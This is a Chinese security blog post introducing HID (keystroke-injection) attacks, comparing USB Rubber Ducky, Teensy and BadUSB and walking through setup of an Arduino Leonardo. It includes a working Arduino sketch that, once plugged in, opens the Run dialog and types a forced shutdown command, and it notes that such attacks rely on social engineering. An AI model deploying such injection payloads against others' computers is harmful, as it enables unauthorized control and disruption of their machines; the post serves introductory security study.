前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >关于HID攻击介绍

关于HID攻击介绍

作者头像
漏斗社区
发布2018-07-31 10:12:52
1.8K0
发布2018-07-31 10:12:52
举报
文章被收录于专栏:漏斗社区漏斗社区

0x01 背景知识

HID(Human InterfaceDevice,是计算机直接与人交互的设备,例如键盘、鼠标等)攻击的一种。攻击者通过将USB设备模拟成为键盘,让电脑识别成为键盘,然后进行脚本模拟按键进行攻击。Badusb也属于HID攻击的一种,在badusb之前还有两种HID攻击分别是teensy和USB RUBBER DUCKY(usb橡皮鸭)。斗哥先介绍以下这三种类型有何不同。

USB RUBBER DUCKY(usb橡皮鸭)

USB RUBBER DUCKY简称usb橡皮鸭,是最早的按键注入工具,可根据对应要求定制硬件。价格较贵动不动就是大几十刀,不过目前已形成成熟的商业模式。可在http://www.ducktoolkit.com/Home.jsp自助生成攻击脚本。

Teensy

Teensy是拥有芯片且功能完整的单片机开发系统。可模拟键盘和鼠标。经开发的teensy usb设备可被电脑识别成键盘或鼠标,然后执行编程进去的恶意代码。价格亲民,开源性强可和kali配合使用。小编后续的实验也都是基于这种芯片。

BADUSB

BADUSB是2014年黑客大会上由柏林SRLabs的安全研究人员JakobLell和独立安全研究人员Karsten Nohl展示攻击方法,该攻击方法通过对普通u盘的固件进行逆向重新编程,修改了u盘的系统,然后进行攻击。KarstenNohl和Jakob Lell在github上公布代码https://github.com/brandonlw/Psychson,下图为公布的代码逻辑。

0x02 Teensy制作

代码语言:javascript
复制
准备材料:
Arduino Leonardo //小型单片机模拟USB。
代码语言:javascript
复制
超短micro转USB。
代码语言:javascript
复制
Arduino IDE //用于烧录代码的编译器 。
http://www.arduino.cn/thread-5838-1-1.html(建议用1.6 的版本)。

Arduino IDE使用:

Arduino IDE安装过程没有特别需要注意的,部分系统需要安装驱动https://pan.baidu.com/s/1bo7I6EN(小编在win7和win10上都无须安装驱动)

1.开启Arduino IDE,设置开发板的类型为:

2.设置端口为连入的Arduino Leonardo板。

3.代码区

在代码区域写入执行代码,循环代码区域写入的代码会循环执行。

4.调试、写入

经调试后无语法错误,即可将代码写入开发板中。

5.测试例子

例子的结果是让插上板子的电脑自动关机。为了便于后续的调试和修改,延迟时间设置的比较长。详细的Arduino keyboard库的解释可参考该链接。

https://www.arduino.cn/thread-21472-1-1.html;

代码语言:javascript
复制
#include <Keyboard.h> //引用键盘库文件
void setup() {//初始化
  Keyboard.begin();//开始键盘通讯 
  delay(3000);//延时3000毫秒
  Keyboard.press(KEY_LEFT_GUI);//win键 
  delay(500); //延迟500毫秒
  Keyboard.press('r');//r键 
  delay(500); //延迟500毫秒
  Keyboard.release(KEY_LEFT_GUI);//释放win键
  Keyboard.release('r'); //释放r键
  delay(500); //延迟500毫秒
  Keyboard.println("SHUTDOWN -S -F -T 0"); //输入SHUTDOWN -S -F -T 0
  delay(5000); //延迟5000毫秒()
  Keyboard.press(KEY_RETURN); //
  Keyboard.release(KEY_RETURN);
  Keyboard.end();//结束键盘通讯 
}
void loop()//循环
{
}

0x03 小结

本文简单分享了HID攻击,以下关于实践过程中的注意点和思考。

1.HID攻击需配合社会工程学进行攻击。

2.Keyboard.press 完一定要Keyboard.release 释放按键, 不然会一直按。

3.Arduino IDE1.8版本必须要添加库文件才能调试成功。

4.Arduino keyboard库的介绍可参考该链接。

https://www.arduino.cn/thread-21472-1-1.html

5. teensy开发板可和kali配合使用,将在后续分享。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-07-27,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 漏斗社区 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档